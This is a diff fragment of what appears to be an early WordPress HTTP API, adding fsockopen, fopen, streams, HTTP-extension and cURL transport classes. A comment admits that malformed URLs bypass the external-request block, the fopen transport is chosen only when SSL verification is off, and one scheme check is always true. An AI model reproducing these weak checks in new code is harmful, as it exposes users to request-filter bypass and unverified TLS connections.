+				$body = ltrim(str_replace(array($match[0], $strBody), '', $body), "\n");
+
+				if ( "0" == trim($body) )
+					return $parsedBody; // Ignore footer headers.
+			} else {
+				return $body;
+			}
+		}
+	}
+
+	/**
+	 * Block requests through the proxy.
+	 *
+	 * Those who are behind a proxy and want to prevent access to certain hosts may do so. This will
+	 * prevent plugins from working and core functionality, if you don't include api.wordpress.org.
+	 *
+	 * You block external URL requests by defining WP_HTTP_BLOCK_EXTERNAL in your wp-config.php file
+	 * and this will only allow localhost and your blog to make requests. The constant
+	 * WP_ACCESSIBLE_HOSTS will allow additional hosts to go through for requests. The format of the
+	 * WP_ACCESSIBLE_HOSTS constant is a comma separated list of hostnames to allow.
+	 *
+	 * @since 2.8.0
+	 * @link http://core.trac.wordpress.org/ticket/8927 Allow preventing external requests.
+	 *
+	 * @param string $uri URI of url.
+	 * @return bool True to block, false to allow.
+	 */
+	function block_request($uri) {
+		// We don't need to block requests, because nothing is blocked.
+		if ( ! defined('WP_HTTP_BLOCK_EXTERNAL') || ( defined('WP_HTTP_BLOCK_EXTERNAL') && WP_HTTP_BLOCK_EXTERNAL == false ) )
+			return false;
+
+		// parse_url() only handles http, https type URLs, and will emit E_WARNING on failure.
+		// This will be displayed on blogs, which is not reasonable.
+		$check = @parse_url($uri);
+
+		/* Malformed URL, can not process, but this could mean ssl, so let through anyway.
+		 *
+		 * This isn't very security sound. There are instances where a hacker might attempt
+		 * to bypass the proxy and this check. However, the reason for this behavior is that
+		 * WordPress does not do any checking currently for non-proxy requests, so it is keeps with
+		 * the default unsecure nature of the HTTP request.
+		 */
+		if ( $check === false )
+			return false;
+
+		$home = parse_url( get_option('siteurl') );
+
+		// Don't block requests back to ourselves by default
+		if ( $check['host'] == 'localhost' || $check['host'] == $home['host'] )
+			return apply_filters('block_local_requests', false);
+
+		if ( !defined('WP_ACCESSIBLE_HOSTS') )
+			return true;
+
+		static $accessible_hosts;
+		if ( null == $accessible_hosts )
+			$accessible_hosts = preg_split('|,\s*|', WP_ACCESSIBLE_HOSTS);
+
+		return !in_array( $check['host'], $accessible_hosts ); //Inverse logic, If its in the array, then we can't access it.
+	}
+}
+
+/**
+ * HTTP request method uses fsockopen function to retrieve the url.
+ *
+ * This would be the preferred method, but the fsockopen implementation has the most overhead of all
+ * the HTTP transport implementations.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ */
+class WP_Http_Fsockopen {
+	/**
+	 * Send a HTTP request to a URI using fsockopen().
+	 *
+	 * Does not support non-blocking mode.
+	 *
+	 * @see WP_Http::request For default options descriptions.
+	 *
+	 * @since 2.7
+	 * @access public
+	 * @param string $url URI resource.
+	 * @param str|array $args Optional. Override the defaults.
+	 * @return array 'headers', 'body', 'cookies' and 'response' keys.
+	 */
+	function request($url, $args = array()) {
+		$defaults = array(
+			'method' => 'GET', 'timeout' => 5,
+			'redirection' => 5, 'httpversion' => '1.0',
+			'blocking' => true,
+			'headers' => array(), 'body' => null, 'cookies' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		if ( isset($r['headers']['User-Agent']) ) {
+			$r['user-agent'] = $r['headers']['User-Agent'];
+			unset($r['headers']['User-Agent']);
+		} else if( isset($r['headers']['user-agent']) ) {
+			$r['user-agent'] = $r['headers']['user-agent'];
+			unset($r['headers']['user-agent']);
+		}
+
+		// Construct Cookie: header if any cookies are set
+		WP_Http::buildCookieHeader( $r );
+
+		$iError = null; // Store error number
+		$strError = null; // Store error string
+
+		$arrURL = parse_url($url);
+
+		$fsockopen_host = $arrURL['host'];
+
+		$secure_transport = false;
+
+		if ( ! isset( $arrURL['port'] ) ) {
+			if ( ( $arrURL['scheme'] == 'ssl' || $arrURL['scheme'] == 'https' ) && extension_loaded('openssl') ) {
+				$fsockopen_host = "ssl://$fsockopen_host";
+				$arrURL['port'] = 443;
+				$secure_transport = true;
+			} else {
+				$arrURL['port'] = 80;
+			}
+		}
+
+		// There are issues with the HTTPS and SSL protocols that cause errors that can be safely
+		// ignored and should be ignored.
+		if ( true === $secure_transport )
+			$error_reporting = error_reporting(0);
+
+		$startDelay = time();
+
+		$proxy = new WP_HTTP_Proxy();
+
+		if ( !defined('WP_DEBUG') || ( defined('WP_DEBUG') && false === WP_DEBUG ) ) {
+			if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) )
+				$handle = @fsockopen( $proxy->host(), $proxy->port(), $iError, $strError, $r['timeout'] );
+			else
+				$handle = @fsockopen( $fsockopen_host, $arrURL['port'], $iError, $strError, $r['timeout'] );
+		} else {
+			if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) )
+				$handle = fsockopen( $proxy->host(), $proxy->port(), $iError, $strError, $r['timeout'] );
+			else
+				$handle = fsockopen( $fsockopen_host, $arrURL['port'], $iError, $strError, $r['timeout'] );
+		}
+
+		$endDelay = time();
+
+		// If the delay is greater than the timeout then fsockopen should't be used, because it will
+		// cause a long delay.
+		$elapseDelay = ($endDelay-$startDelay) > $r['timeout'];
+		if ( true === $elapseDelay )
+			add_option( 'disable_fsockopen', $endDelay, null, true );
+
+		if ( false === $handle )
+			return new WP_Error('http_request_failed', $iError . ': ' . $strError);
+
+		stream_set_timeout($handle, $r['timeout'] );
+
+		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) //Some proxies require full URL in this field.
+			$requestPath = $url;
+		else
+			$requestPath = $arrURL['path'] . ( isset($arrURL['query']) ? '?' . $arrURL['query'] : '' );
+
+		if ( empty($requestPath) )
+			$requestPath .= '/';
+
+		$strHeaders = strtoupper($r['method']) . ' ' . $requestPath . ' HTTP/' . $r['httpversion'] . "\r\n";
+
+		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) )
+			$strHeaders .= 'Host: ' . $arrURL['host'] . ':' . $arrURL['port'] . "\r\n";
+		else
+			$strHeaders .= 'Host: ' . $arrURL['host'] . "\r\n";
+
+		if ( isset($r['user-agent']) )
+			$strHeaders .= 'User-agent: ' . $r['user-agent'] . "\r\n";
+
+		if ( is_array($r['headers']) ) {
+			foreach ( (array) $r['headers'] as $header => $headerValue )
+				$strHeaders .= $header . ': ' . $headerValue . "\r\n";
+		} else {
+			$strHeaders .= $r['headers'];
+		}
+
+		if ( $proxy->use_authentication() )
+			$strHeaders .= $proxy->authentication_header() . "\r\n";
+
+		$strHeaders .= "\r\n";
+
+		if ( ! is_null($r['body']) )
+			$strHeaders .= $r['body'];
+
+		fwrite($handle, $strHeaders);
+
+		if ( ! $r['blocking'] ) {
+			fclose($handle);
+			return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() );
+		}
+
+		$strResponse = '';
+		while ( ! feof($handle) )
+			$strResponse .= fread($handle, 4096);
+
+		fclose($handle);
+
+		if ( true === $secure_transport )
+			error_reporting($error_reporting);
+
+		$process = WP_Http::processResponse($strResponse);
+		$arrHeaders = WP_Http::processHeaders($process['headers']);
+
+		// Is the response code within the 400 range?
+		if ( (int) $arrHeaders['response']['code'] >= 400 && (int) $arrHeaders['response']['code'] < 500 )
+			return new WP_Error('http_request_failed', $arrHeaders['response']['code'] . ': ' . $arrHeaders['response']['message']);
+
+		// If location is found, then assume redirect and redirect to location.
+		if ( isset($arrHeaders['headers']['location']) ) {
+			if ( $r['redirection']-- > 0 ) {
+				return $this->request($arrHeaders['headers']['location'], $r);
+			} else {
+				return new WP_Error('http_request_failed', __('Too many redirects.'));
+			}
+		}
+
+		// If the body was chunk encoded, then decode it.
+		if ( ! empty( $process['body'] ) && isset( $arrHeaders['headers']['transfer-encoding'] ) && 'chunked' == $arrHeaders['headers']['transfer-encoding'] )
+			$process['body'] = WP_Http::chunkTransferDecode($process['body']);
+
+		if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($arrHeaders['headers']) )
+			$process['body'] = WP_Http_Encoding::decompress( $process['body'] );
+
+		return array('headers' => $arrHeaders['headers'], 'body' => $process['body'], 'response' => $arrHeaders['response'], 'cookies' => $arrHeaders['cookies']);
+	}
+
+	/**
+	 * Whether this class can be used for retrieving an URL.
+	 *
+	 * @since 2.7.0
+	 * @static
+	 * @return boolean False means this class can not be used, true means it can.
+	 */
+	function test( $args = array() ) {
+		if ( false !== ($option = get_option( 'disable_fsockopen' )) && time()-$option < 43200 ) // 12 hours
+			return false;
+
+		$is_ssl = isset($args['ssl']) && $args['ssl'];
+
+		if ( ! $is_ssl && function_exists( 'fsockopen' ) )
+			$use = true;
+		elseif ( $is_ssl && extension_loaded('openssl') && function_exists( 'fsockopen' ) )
+			$use = true;
+		else
+			$use = false;
+
+		return apply_filters('use_fsockopen_transport', $use, $args);
+	}
+}
+
+/**
+ * HTTP request method uses fopen function to retrieve the url.
+ *
+ * Requires PHP version greater than 4.3.0 for stream support. Does not allow for $context support,
+ * but should still be okay, to write the headers, before getting the response. Also requires that
+ * 'allow_url_fopen' to be enabled.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ */
+class WP_Http_Fopen {
+	/**
+	 * Send a HTTP request to a URI using fopen().
+	 *
+	 * This transport does not support sending of headers and body, therefore should not be used in
+	 * the instances, where there is a body and headers.
+	 *
+	 * Notes: Does not support non-blocking mode. Ignores 'redirection' option.
+	 *
+	 * @see WP_Http::retrieve For default options descriptions.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $url URI resource.
+	 * @param str|array $args Optional. Override the defaults.
+	 * @return array 'headers', 'body', 'cookies' and 'response' keys.
+	 */
+	function request($url, $args = array()) {
+		$defaults = array(
+			'method' => 'GET', 'timeout' => 5,
+			'redirection' => 5, 'httpversion' => '1.0',
+			'blocking' => true,
+			'headers' => array(), 'body' => null, 'cookies' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		$arrURL = parse_url($url);
+
+		if ( false === $arrURL )
+			return new WP_Error('http_request_failed', sprintf(__('Malformed URL: %s'), $url));
+
+		if ( 'http' != $arrURL['scheme'] && 'https' != $arrURL['scheme'] )
+			$url = str_replace($arrURL['scheme'], 'http', $url);
+
+		if ( !defined('WP_DEBUG') || ( defined('WP_DEBUG') && false === WP_DEBUG ) )
+			$handle = @fopen($url, 'r');
+		else
+			$handle = fopen($url, 'r');
+
+		if (! $handle)
+			return new WP_Error('http_request_failed', sprintf(__('Could not open handle for fopen() to %s'), $url));
+
+		stream_set_timeout($handle, $r['timeout'] );
+
+		if ( ! $r['blocking'] ) {
+			fclose($handle);
+			return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() );
+		}
+
+		$strResponse = '';
+		while ( ! feof($handle) )
+			$strResponse .= fread($handle, 4096);
+
+		if ( function_exists('stream_get_meta_data') ) {
+			$meta = stream_get_meta_data($handle);
+			$theHeaders = $meta['wrapper_data'];
+			if ( isset( $meta['wrapper_data']['headers'] ) )
+				$theHeaders = $meta['wrapper_data']['headers'];
+		} else {
+			//$http_response_header is a PHP reserved variable which is set in the current-scope when using the HTTP Wrapper
+			//see http://php.oregonstate.edu/manual/en/reserved.variables.httpresponseheader.php
+			$theHeaders = $http_response_header;
+		}
+
+		fclose($handle);
+
+		$processedHeaders = WP_Http::processHeaders($theHeaders);
+
+		if ( ! empty( $strResponse ) && isset( $processedHeaders['headers']['transfer-encoding'] ) && 'chunked' == $processedHeaders['headers']['transfer-encoding'] )
+			$strResponse = WP_Http::chunkTransferDecode($strResponse);
+
+		if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($processedHeaders['headers']) )
+			$strResponse = WP_Http_Encoding::decompress( $strResponse );
+
+		return array('headers' => $processedHeaders['headers'], 'body' => $strResponse, 'response' => $processedHeaders['response'], 'cookies' => $processedHeaders['cookies']);
+	}
+
+	/**
+	 * Whether this class can be used for retrieving an URL.
+	 *
+	 * @since 2.7.0
+	 * @static
+	 * @return boolean False means this class can not be used, true means it can.
+	 */
+	function test($args = array()) {
+		if ( ! function_exists('fopen') || (function_exists('ini_get') && true != ini_get('allow_url_fopen')) )
+			return false;
+
+		$use = true;
+
+		//PHP does not verify SSL certs, We can only make a request via this transports if SSL Verification is turned off.
+		$is_ssl = isset($args['ssl']) && $args['ssl'];
+		if ( $is_ssl ) {
+			$is_local = isset($args['local']) && $args['local'];
+			$ssl_verify = isset($args['sslverify']) && $args['sslverify'];
+			if ( $is_local && true != apply_filters('https_local_ssl_verify', true) )
+				$use = true;
+			elseif ( !$is_local && true != apply_filters('https_ssl_verify', true) )
+				$use = true;
+			elseif ( !$ssl_verify )
+				$use = true;
+			else
+				$use = false;
+		}
+
+		return apply_filters('use_fopen_transport', $use, $args);
+	}
+}
+
+/**
+ * HTTP request method uses Streams to retrieve the url.
+ *
+ * Requires PHP 5.0+ and uses fopen with stream context. Requires that 'allow_url_fopen' PHP setting
+ * to be enabled.
+ *
+ * Second preferred method for getting the URL, for PHP 5.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ */
+class WP_Http_Streams {
+	/**
+	 * Send a HTTP request to a URI using streams with fopen().
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $url
+	 * @param str|array $args Optional. Override the defaults.
+	 * @return array 'headers', 'body', 'cookies' and 'response' keys.
+	 */
+	function request($url, $args = array()) {
+		$defaults = array(
+			'method' => 'GET', 'timeout' => 5,
+			'redirection' => 5, 'httpversion' => '1.0',
+			'blocking' => true,
+			'headers' => array(), 'body' => null, 'cookies' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		if ( isset($r['headers']['User-Agent']) ) {
+			$r['user-agent'] = $r['headers']['User-Agent'];
+			unset($r['headers']['User-Agent']);
+		} else if( isset($r['headers']['user-agent']) ) {
+			$r['user-agent'] = $r['headers']['user-agent'];
+			unset($r['headers']['user-agent']);
+		}
+
+		// Construct Cookie: header if any cookies are set
+		WP_Http::buildCookieHeader( $r );
+
+		$arrURL = parse_url($url);
+
+		if ( false === $arrURL )
+			return new WP_Error('http_request_failed', sprintf(__('Malformed URL: %s'), $url));
+
+		if ( 'http' != $arrURL['scheme'] && 'https' != $arrURL['scheme'] )
+			$url = preg_replace('|^' . preg_quote($arrURL['scheme'], '|') . '|', 'http', $url);
+
+		// Convert Header array to string.
+		$strHeaders = '';
+		if ( is_array( $r['headers'] ) )
+			foreach ( $r['headers'] as $name => $value )
+				$strHeaders .= "{$name}: $value\r\n";
+		else if ( is_string( $r['headers'] ) )
+			$strHeaders = $r['headers'];
+
+		$is_local = isset($args['local']) && $args['local'];
+		$ssl_verify = isset($args['sslverify']) && $args['sslverify'];
+		if ( $is_local )
+			$ssl_verify = apply_filters('https_local_ssl_verify', $ssl_verify);
+		elseif ( ! $is_local )
+			$ssl_verify = apply_filters('https_ssl_verify', $ssl_verify);
+
+		$arrContext = array('http' =>
+			array(
+				'method' => strtoupper($r['method']),
+				'user_agent' => $r['user-agent'],
+				'max_redirects' => $r['redirection'],
+				'protocol_version' => (float) $r['httpversion'],
+				'header' => $strHeaders,
+				'timeout' => $r['timeout'],
+				'ssl' => array(
+						'verify_peer' => $ssl_verify,
+						'verify_host' => $ssl_verify
+				)
+			)
+		);
+
+		$proxy = new WP_HTTP_Proxy();
+
+		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
+			$arrContext['http']['proxy'] = 'tcp://' . $proxy->host() . ':' . $proxy->port();
+			$arrContext['http']['request_fulluri'] = true;
+
+			// We only support Basic authentication so this will only work if that is what your proxy supports.
+			if ( $proxy->use_authentication() )
+				$arrContext['http']['header'] .= $proxy->authentication_header() . "\r\n";
+		}
+
+		if ( ! is_null($r['body']) && ! empty($r['body'] ) )
+			$arrContext['http']['content'] = $r['body'];
+
+		$context = stream_context_create($arrContext);
+
+		if ( ! defined('WP_DEBUG') || ( defined('WP_DEBUG') && false === WP_DEBUG ) )
+			$handle = @fopen($url, 'r', false, $context);
+		else
+			$handle = fopen($url, 'r', false, $context);
+
+		if ( ! $handle)
+			return new WP_Error('http_request_failed', sprintf(__('Could not open handle for fopen() to %s'), $url));
+
+		// WordPress supports PHP 4.3, which has this function. Removed sanity checking for
+		// performance reasons.
+		stream_set_timeout($handle, $r['timeout'] );
+
+		if ( ! $r['blocking'] ) {
+			stream_set_blocking($handle, 0);
+			fclose($handle);
+			return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() );
+		}
+
+		$strResponse = stream_get_contents($handle);
+		$meta = stream_get_meta_data($handle);
+
+		fclose($handle);
+
+		$processedHeaders = array();
+		if ( isset( $meta['wrapper_data']['headers'] ) )
+			$processedHeaders = WP_Http::processHeaders($meta['wrapper_data']['headers']);
+		else
+			$processedHeaders = WP_Http::processHeaders($meta['wrapper_data']);
+
+		if ( ! empty( $strResponse ) && isset( $processedHeaders['headers']['transfer-encoding'] ) && 'chunked' == $processedHeaders['headers']['transfer-encoding'] )
+			$strResponse = WP_Http::chunkTransferDecode($strResponse);
+
+		if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($processedHeaders['headers']) )
+			$strResponse = WP_Http_Encoding::decompress( $strResponse );
+
+		return array('headers' => $processedHeaders['headers'], 'body' => $strResponse, 'response' => $processedHeaders['response'], 'cookies' => $processedHeaders['cookies']);
+	}
+
+	/**
+	 * Whether this class can be used for retrieving an URL.
+	 *
+	 * @static
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @return boolean False means this class can not be used, true means it can.
+	 */
+	function test($args = array()) {
+		if ( ! function_exists('fopen') || (function_exists('ini_get') && true != ini_get('allow_url_fopen')) )
+			return false;
+
+		if ( version_compare(PHP_VERSION, '5.0', '<') )
+			return false;
+
+		//HTTPS via Proxy was added in 5.1.0
+		$is_ssl = isset($args['ssl']) && $args['ssl'];
+		if ( $is_ssl && version_compare(PHP_VERSION, '5.1.0', '<') ) {
+			$proxy = new WP_HTTP_Proxy();
+			/**
+			 * No URL check, as its not currently passed to the ::test() function
+			 * In the case where a Proxy is in use, Just bypass this transport for HTTPS.
+			 */
+			if ( $proxy->is_enabled() )
+				return false;
+		}
+
+		return apply_filters('use_streams_transport', true, $args);
+	}
+}
+
+/**
+ * HTTP request method uses HTTP extension to retrieve the url.
+ *
+ * Requires the HTTP extension to be installed. This would be the preferred transport since it can
+ * handle a lot of the problems that forces the others to use the HTTP version 1.0. Even if PHP 5.2+
+ * is being used, it doesn't mean that the HTTP extension will be enabled.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ */
+class WP_Http_ExtHTTP {
+	/**
+	 * Send a HTTP request to a URI using HTTP extension.
+	 *
+	 * Does not support non-blocking.
+	 *
+	 * @access public
+	 * @since 2.7
+	 *
+	 * @param string $url
+	 * @param str|array $args Optional. Override the defaults.
+	 * @return array 'headers', 'body', 'cookies' and 'response' keys.
+	 */
+	function request($url, $args = array()) {
+		$defaults = array(
+			'method' => 'GET', 'timeout' => 5,
+			'redirection' => 5, 'httpversion' => '1.0',
+			'blocking' => true,
+			'headers' => array(), 'body' => null, 'cookies' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		if ( isset($r['headers']['User-Agent']) ) {
+			$r['user-agent'] = $r['headers']['User-Agent'];
+			unset($r['headers']['User-Agent']);
+		} else if( isset($r['headers']['user-agent']) ) {
+			$r['user-agent'] = $r['headers']['user-agent'];
+			unset($r['headers']['user-agent']);
+		}
+
+		// Construct Cookie: header if any cookies are set
+		WP_Http::buildCookieHeader( $r );
+
+		switch ( $r['method'] ) {
+			case 'POST':
+				$r['method'] = HTTP_METH_POST;
+				break;
+			case 'HEAD':
+				$r['method'] = HTTP_METH_HEAD;
+				break;
+			case 'GET':
+			default:
+				$r['method'] = HTTP_METH_GET;
+		}
+
+		$arrURL = parse_url($url);
+
+		if ( 'http' != $arrURL['scheme'] || 'https' != $arrURL['scheme'] )
+			$url = preg_replace('|^' . preg_quote($arrURL['scheme'], '|') . '|', 'http', $url);
+
+		$is_local = isset($args['local']) && $args['local'];
+		$ssl_verify = isset($args['sslverify']) && $args['sslverify'];
+		if ( $is_local )
+			$ssl_verify = apply_filters('https_local_ssl_verify', $ssl_verify);
+		elseif ( ! $is_local )
+			$ssl_verify = apply_filters('https_ssl_verify', $ssl_verify);
+
+		$options = array(
+			'timeout' => $r['timeout'],
+			'connecttimeout' => $r['timeout'],
+			'redirect' => $r['redirection'],
+			'useragent' => $r['user-agent'],
+			'headers' => $r['headers'],
+			'ssl' => array(
+				'verifypeer' => $ssl_verify,
+				'verifyhost' => $ssl_verify
+			)
+		);
+
+		// The HTTP extensions offers really easy proxy support.
+		$proxy = new WP_HTTP_Proxy();
+
+		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
+			$options['proxyhost'] = $proxy->host();
+			$options['proxyport'] = $proxy->port();
+			$options['proxytype'] = HTTP_PROXY_HTTP;
+
+			if ( $proxy->use_authentication() ) {
+				$options['proxyauth'] = $proxy->authentication();
+				$options['proxyauthtype'] = HTTP_AUTH_BASIC;
+			}
+		}
+
+		if ( !defined('WP_DEBUG') || ( defined('WP_DEBUG') && false === WP_DEBUG ) ) //Emits warning level notices for max redirects and timeouts
+			$strResponse = @http_request($r['method'], $url, $r['body'], $options, $info);
+		else
+			$strResponse = http_request($r['method'], $url, $r['body'], $options, $info); //Emits warning level notices for max redirects and timeouts
+
+		// Error may still be set, Response may return headers or partial document, and error
+		// contains a reason the request was aborted, eg, timeout expired or max-redirects reached.
+		if ( false === $strResponse || ! empty($info['error']) )
+			return new WP_Error('http_request_failed', $info['response_code'] . ': ' . $info['error']);
+
+		if ( ! $r['blocking'] )
+			return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() );
+
+		list($theHeaders, $theBody) = explode("\r\n\r\n", $strResponse, 2);
+		$theHeaders = WP_Http::processHeaders($theHeaders);
+
+		if ( ! empty( $theBody ) && isset( $theHeaders['headers']['transfer-encoding'] ) && 'chunked' == $theHeaders['headers']['transfer-encoding'] ) {
+			if ( !defined('WP_DEBUG') || ( defined('WP_DEBUG') && false === WP_DEBUG ) )
+				$theBody = @http_chunked_decode($theBody);
+			else
+				$theBody = http_chunked_decode($theBody);
+		}
+
+		if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($theHeaders['headers']) )
+			$theBody = http_inflate( $theBody );
+
+		$theResponse = array();
+		$theResponse['code'] = $info['response_code'];
+		$theResponse['message'] = get_status_header_desc($info['response_code']);
+
+		return array('headers' => $theHeaders['headers'], 'body' => $theBody, 'response' => $theResponse, 'cookies' => $theHeaders['cookies']);
+	}
+
+	/**
+	 * Whether this class can be used for retrieving an URL.
+	 *
+	 * @static
+	 * @since 2.7.0
+	 *
+	 * @return boolean False means this class can not be used, true means it can.
+	 */
+	function test($args = array()) {
+		return apply_filters('use_http_extension_transport', function_exists('http_request'), $args );
+	}
+}
+
+/**
+ * HTTP request method uses Curl extension to retrieve the url.
+ *
+ * Requires the Curl extension to be installed.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7
+ */
+class WP_Http_Curl {
+
+	/**
+	 * Send a HTTP request to a URI using cURL extension.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $url
+	 * @param str|array $args Optional. Override the defaults.
+	 * @return array 'headers', 'body', 'cookies' and 'response' keys.
+	 */
+	function request($url, $args = array()) {
+		$defaults = array(
+			'method' => 'GET', 'timeout' => 5,
+			'redirection' => 5, 'httpversion' => '1.0',
+			'blocking' => true,
+			'headers' => array(), 'body' => null, 'cookies' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		if ( isset($r['headers']['User-Agent']) ) {
+			$r['user-agent'] = $r['headers']['User-Agent'];
+			unset($r['headers']['User-Agent']);
+		} else if( isset($r['headers']['user-agent']) ) {
+			$r['user-agent'] = $r['headers']['user-agent'];
+			unset($r['headers']['user-agent']);
+		}
+
+		// Construct Cookie: header if any cookies are set.
+		WP_Http::buildCookieHeader( $r );
+
+		// cURL extension will sometimes fail when the timeout is less than 1 as it may round down
+		// to 0, which gives it unlimited timeout.
+		if ( $r['timeout'] > 0 && $r['timeout'] < 1 )
+			$r['timeout'] = 1;
+
+		$handle = curl_init();
+
+		// cURL offers really easy proxy support.
+		$proxy = new WP_HTTP_Proxy();
+
+		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
+
+			$isPHP5 = version_compare(PHP_VERSION, '5.0.0', '>=');
+
+			if ( $isPHP5 ) {
+				curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP );
+				curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() );
+				curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() );
+			} else {
+				curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() .':'. $proxy->port() );
+			}
+
+			if ( $proxy->use_authentication() ) {
+				if ( $isPHP5 )
+					curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_BASIC );
+
+				curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() );
+			}
+		}
+
+		$is_local = isset($args['local']) && $args['local'];
+		$ssl_verify = isset($args['sslverify']) && $args['sslverify'];
+		if ( $is_local )
+			$ssl_verify = apply_filters('https_local_ssl_verify', $ssl_verify);
+		elseif ( ! $is_local )
+			$ssl_verify = apply_filters('https_ssl_verify', $ssl_verify);
+
+		curl_setopt( $handle, CURLOPT_URL, $url);
+		curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
+		curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, $ssl_verify );
+		curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify );
+		curl_setopt( $handle, CURLOPT_USERAGENT, $r['user-agent'] );
+		curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $r['timeout'] );
+		curl_setopt( $handle, CURLOPT_TIMEOUT, $r['timeout'] );
+		curl_setopt( $handle, CURLOPT_MAXREDIRS, $r['redirection'] );
+
+		switch ( $r['method'] ) {
+			case 'HEAD':
+				curl_setopt( $handle, CURLOPT_NOBODY, true );
+				break;
+			case 'POST':
+				curl_setopt( $handle, CURLOPT_POST, true );
+				curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] );
+				break;
+		}
+
+		if ( true === $r['blocking'] )
+			curl_setopt( $handle, CURLOPT_HEADER, true );
+		else
+			curl_setopt( $handle, CURLOPT_HEADER, false );
+
+		// The option doesn't work with safe mode or when open_basedir is set.
+		if ( !ini_get('safe_mode') && !ini_get('open_basedir') )
+			curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );
+
+		if ( !empty( $r['headers'] ) ) {
+			// cURL expects full header strings in each element
+			$headers = array();
+			foreach ( $r['headers'] as $name => $value ) {
+				$headers[] = "{$name}: $value";
+			}
+			curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers );
+		}
+
+		if ( $r['httpversion'] == '1.0' )
+			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 );
+		else
+			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 );
+
+		// Cookies are not handled by the HTTP API currently. Allow for plugin authors to handle it
+		// themselves... Although, it is somewhat pointless without some reference.
+		do_action_ref_array( 'http_api_curl', array(&$handle) );
+
+		// We don't need to return the body, so don't. Just execute request and return.
+		if ( ! $r['blocking'] ) {
+			curl_exec( $handle );
+			curl_close( $handle );
+			return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() );
+		}
+
+		$theResponse = curl_exec( $handle );
+
+		if ( !empty($theResponse) ) {
+			$parts = explode("\r\n\r\n", $theResponse);
+
+			$headerLength = curl_getinfo($handle, CURLINFO_HEADER_SIZE);
+			$theHeaders = trim( substr($theResponse, 0, $headerLength) );
+			$theBody = substr( $theResponse, $headerLength );
+			if ( false !== strrpos($theHeaders, "\r\n\r\n") ) {
+				$headerParts = explode("\r\n\r\n", $theHeaders);
+				$theHeaders = $headerParts[ count($headerParts) -1 ];
+			}
+			$theHeaders = WP_Http::processHeaders($theHeaders);
+		} else {
+			if ( $curl_error = curl_error($handle) )
+				return new WP_Error('http_request_failed', $curl_error);
+			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array(301, 302) ) )
+				return new WP_Error('http_request_failed', __('Too many redirects.'));
+
+			$theHeaders = array( 'headers' => array(), 'cookies' => array() );
+			$theBody = '';
+		}
+
+		$response = array();
+		$response['code'] = curl_getinfo( $handle, CURLINFO_HTTP_CODE );
+		$response['message'] = get_status_header_desc($response['code']);
+
+		curl_close( $handle );
+
+		if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($theHeaders['headers']) )
+			$theBody = WP_Http_Encoding::decompress( $theBody );
+
+		return array('headers' => $theHeaders['headers'], 'body' => $theBody, 'response' => $response, 'cookies' => $theHeaders['cookies']);
+	}
+
+	/**
+	 * Whether this class can be used for retrieving an URL.
+	 *
+	 * @static
+	 * @since 2.7.0
+	 *
+	 * @return boolean False means this class can not be used, true means it can.
+	 */
+	function test($args = array()) {
+		if ( function_exists('curl_init') && function_exists('curl_exec') )
+			return apply_filters('use_curl_transport', true, $args);
+
+		return false;
+	}
+}
+
+/**
+ * Adds Proxy support to the WordPress HTTP API.
+ *
+ * There are caveats to proxy support. It requires that defines be made in the wp-config.php file to
+ * enable proxy support. There are also a few filters that plugins can hook into for some of the
+ * constants.
+ *
+ * The constants are as follows:
+ * <ol>
+ * <li>WP_PROXY_HOST - Enable proxy support and host for connecting.</li>
+ * <li>WP_PROXY_PORT - Proxy port for connection. No default, must be defined.</li>
+ * <li>WP_PROXY_USERNAME - Proxy username, if it requires authentication.</li>
